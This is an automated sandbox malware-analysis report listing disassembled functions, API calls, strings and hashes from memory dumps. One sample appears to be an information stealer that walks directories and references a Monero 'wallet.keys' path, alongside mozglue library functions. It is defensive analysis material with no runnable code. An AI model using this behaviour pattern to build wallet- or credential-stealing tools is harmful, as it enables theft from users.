Opcode Fuzzy Hash: 60219c9070f74303ec108087079d858cceab9d278899b4d0236f98ade28fd6ee
Instruction Fuzzy Hash: 58F24C74908B808FC731CF29C08469AFBF1FF89358F158A5ED99997711EB319896CB42

Function 6CBC64C0 Relevance: 54.7, APIs: 24, Strings: 7, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CBC64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CBC64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CBC6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CBC6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBC652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CBC671C
GetCurrentProcess.KERNEL32 ref: 6CBC6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBC672F
GetCurrentProcess.KERNEL32 ref: 6CBC6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBC6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CBC6A80
GetSystemInfo.KERNEL32(?), ref: 6CBC6ABE
__Init_thread_footer.LIBCMT ref: 6CBC6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBC6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBC6AF7

Strings

detoured.dll, xrefs: 6CBC64DA
nvd3d9wrap.dll, xrefs: 6CBC6500
7S+Y/, xrefs: 6CBC64D0
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CBC6798
_etoured.dll, xrefs: 6CBC64ED
nvdxgiwrap.dll, xrefs: 6CBC6513
user32.dll, xrefs: 6CBC6526

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: 7S+Y/$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-3721034674
Opcode ID: d7fb543fb66bc5e5d3ed6264393941c67f98cc905fd71934499c62d6bb93455b
Instruction ID: 5cb4a3b7c14d3a1a97f5c291b173b08c45e77534e5d55c71f6dadc492286f989
Opcode Fuzzy Hash: d7fb543fb66bc5e5d3ed6264393941c67f98cc905fd71934499c62d6bb93455b
Instruction Fuzzy Hash: FEF1E770A056699FDB20CF24DC48BAAB7B4EF46318F1442D9E80DE7641E731AE85CF52

Function 00AD38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00AD38CC
FindFirstFileA.KERNEL32(?,?), ref: 00AD38E3
lstrcat.KERNEL32(?,?), ref: 00AD3935
StrCmpCA.SHLWAPI(?,00AE0F70), ref: 00AD3947
StrCmpCA.SHLWAPI(?,00AE0F74), ref: 00AD395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00AD3C67
FindClose.KERNEL32(000000FF), ref: 00AD3C7C

Strings

%s\%s\%s, xrefs: 00AD3A4A
%s\*, xrefs: 00AD38C0
%s\%s, xrefs: 00AD397A
%s\%s, xrefs: 00AD3A6F
%s%s, xrefs: 00AD3AAD

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 17070be6ad0bae6185cff0a41c31f84f88f01cb1afc363843165b9b0677d6c87
Instruction ID: 072b8baea5fd960325a73d0a8a7db116cb22ca362e6a11bd91edd44e2fcfdb3e
Opcode Fuzzy Hash: 17070be6ad0bae6185cff0a41c31f84f88f01cb1afc363843165b9b0677d6c87
Instruction Fuzzy Hash: D6A132B2A00318ABDF24DFA4DD85FEE7378BB58300F444589B50E96241EB759B84CF62

Function 6CC1C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC1C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC1C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CC1C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CC1C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CC1C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC1CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC1CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC1DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CC1DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CC1DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC1DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC1DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CC1E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC1E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CC1E472

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 25e724e7aae2484da2743b9dc48daa5a5f09906a960c6ff088cb73a63dcc3de8
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 7333AF71E0421ACFCB04CF99C8806EDBBF2FF49310F288269D955ABB55E735A945CB90

Function 6CBDED10 Relevance: 30.9, APIs: 16, Strings: 1, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CBDEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CBDEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CBE1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBE16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CBE1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CBE1A3E

Strings

7S+Y/, xrefs: 6CBDED25

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: 7S+Y/
API String ID: 3693777188-4163584386
Opcode ID: 9c6e21349897a5cdb3e974073ced3080056944c8ef3a80fc858cccf080ececd5
Instruction ID: 46eebf805be7d37d5436ead37f181fd1bc7dd59ae85db8809bfa6fadb3391ba2
Opcode Fuzzy Hash: 9c6e21349897a5cdb3e974073ced3080056944c8ef3a80fc858cccf080ececd5
Instruction Fuzzy Hash: 86B33B71E04269CFCB14CFA8C890A9DB7B2FF49304F2981A9D449AB755D730AD86CF91

Function 00AD4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00AD4580
RtlAllocateHeap.NTDLL(00000000), ref: 00AD4587
wsprintfA.USER32 ref: 00AD45A6
FindFirstFileA.KERNEL32(?,?), ref: 00AD45BD
StrCmpCA.SHLWAPI(?,00AE0FC4), ref: 00AD45EB
StrCmpCA.SHLWAPI(?,00AE0FC8), ref: 00AD4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00AD468B
FindClose.KERNEL32(000000FF), ref: 00AD46A0
lstrcat.KERNEL32(?,0178E3E0), ref: 00AD46C5
lstrcat.KERNEL32(?,0178D178), ref: 00AD46D8
lstrlen.KERNEL32(?), ref: 00AD46E5
lstrlen.KERNEL32(?), ref: 00AD46F6

Strings

%s\*, xrefs: 00AD459A
%s\%s, xrefs: 00AD461B

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: f1adb7d87e0edc967b6f8bb4fa2ad4667effbbad33ebd5f2e5c443b08bda800c
Instruction ID: c62abd1cf82bf74e5f671b8410cb22e51f53c094a12cdc5b9abc435114f43235
Opcode Fuzzy Hash: f1adb7d87e0edc967b6f8bb4fa2ad4667effbbad33ebd5f2e5c443b08bda800c
Instruction Fuzzy Hash: 2C5166B5540318ABCB20EB74DD89FED737CAB58700F404589B60ED6250EB75DB848FA1

Function 6CBDD4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CC3E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD4F2
LeaveCriticalSection.KERNEL32(6CC3E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD50B

Part of subcall function 6CBBCFE0: EnterCriticalSection.KERNEL32(6CC3E784), ref: 6CBBCFF6
Part of subcall function 6CBBCFE0: LeaveCriticalSection.KERNEL32(6CC3E784), ref: 6CBBD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD52E
EnterCriticalSection.KERNEL32(6CC3E7DC), ref: 6CBDD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBDD6A6
LeaveCriticalSection.KERNEL32(6CC3E7DC), ref: 6CBDD712
LeaveCriticalSection.KERNEL32(6CC3E784,?,?,?,?,?,?,?,00000000,75572FE0,00000001,?,6CBED1C5), ref: 6CBDD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CBDD7EA

Strings

7S+Y/, xrefs: 6CBDC0F9, 6CBDD4E2
: (malloc) Error initializing arena, xrefs: 6CBDD82C
<jemalloc>, xrefs: 6CBDD827

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: 7S+Y/$: (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-139620567
Opcode ID: 3f3f4c16d28383c10c839dd25eb02816c4d4fc46e555646118139c74baaddeb8
Instruction ID: 1b34823737b1997cf16c8fd3a622f1438ef14648db00a0cd7edae7d5384f803a
Opcode Fuzzy Hash: 3f3f4c16d28383c10c839dd25eb02816c4d4fc46e555646118139c74baaddeb8
Instruction Fuzzy Hash: B291B371A047818FD714CF38E49476AB7F1EB9A314F16492EE59A87A81D730F844CF92

Function 00ACED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00ACED3E
FindFirstFileA.KERNEL32(?,?), ref: 00ACED55
StrCmpCA.SHLWAPI(?,00AE1538), ref: 00ACEDAB
StrCmpCA.SHLWAPI(?,00AE153C), ref: 00ACEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 00ACF2AE
FindClose.KERNEL32(000000FF), ref: 00ACF2C3

Strings

%s\*.*, xrefs: 00ACED32

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b23c61b8b5ff85a215b66dcf79755fad56a6a7b1b917076c19d8194fcfacb142
Instruction ID: 568e5db53c9bbdcf7f3ef3e7a1d6d9f82cd717be301d8662f2b9848d92d517fe
Opcode Fuzzy Hash: b23c61b8b5ff85a215b66dcf79755fad56a6a7b1b917076c19d8194fcfacb142
Instruction Fuzzy Hash: A6E1F6729112589ADB54FB60DD92EEE733CAF64300F4045DAB40BA2152EF306F8ADF65

Function 00ACDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADA740: lstrcpy.KERNEL32(00AE0E17,00000000), ref: 00ADA788

Part of subcall function 00ADA9B0: lstrlen.KERNEL32(?,017889E0,?,\Monero\wallet.keys,00AE0E17), ref: 00ADA9C5
Part of subcall function 00ADA9B0: lstrcpy.KERNEL32(00000000), ref: 00ADAA04
Part of subcall function 00ADA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00ADAA12

Part of subcall function 00ADA8A0: lstrcpy.KERNEL32(?,00AE0E17), ref: 00ADA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00AE0C2E), ref: 00ACDE5E
StrCmpCA.SHLWAPI(?,00AE14C8), ref: 00ACDEAE
StrCmpCA.SHLWAPI(?,00AE14CC), ref: 00ACDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00ACE3E0
FindClose.KERNEL32(000000FF), ref: 00ACE3F2

Strings

\*.*, xrefs: 00ACDE26

Memory Dump Source

Source File: 00000000.00000002.1790466165.0000000000AC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000000.00000002.1790444844.0000000000AC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000BDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790466165.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000D1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000EA6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000F7E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1790887029.0000000000FB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791350527.0000000000FBA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791458794.0000000001150000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1791475316.0000000001151000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ac0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 990078101faedbcfdf8761f829733e7aba35241b0d0e99035b93c115f71763d9
Instruction ID: e859355775a13cf4c991d8e47a0441fc8b0bc5ea15877c17c75085524e935acc
Opcode Fuzzy Hash: 990078101faedbcfdf8761f829733e7aba35241b0d0e99035b93c115f71763d9
Instruction Fuzzy Hash: 31F1BF719101589ADB15FB60CD96EEE7338BF64300F8045DAB40B62291EF706F8ADF66

Function 6CC02C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CC02C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CC02C61

Part of subcall function 6CBB4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBB4E5A
Part of subcall function 6CBB4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBB4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC02C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CC02E2D

Part of subcall function 6CBC81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CBC81DE

Strings

7S+Y/, xrefs: 6CC02C26, 6CC02D08
expected a Time entry, xrefs: 6CC02E36
(root), xrefs: 6CC0354F
ProfileBuffer parse error: %s, xrefs: 6CC02E3B

Memory Dump Source

Source File: 00000000.00000002.1821237220.000000006CBB1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBB0000, based on PE: true

Associated: 00000000.00000002.1821216397.000000006CBB0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821292357.000000006CC2D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821317871.000000006CC3E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1821340328.000000006CC42000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbb0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
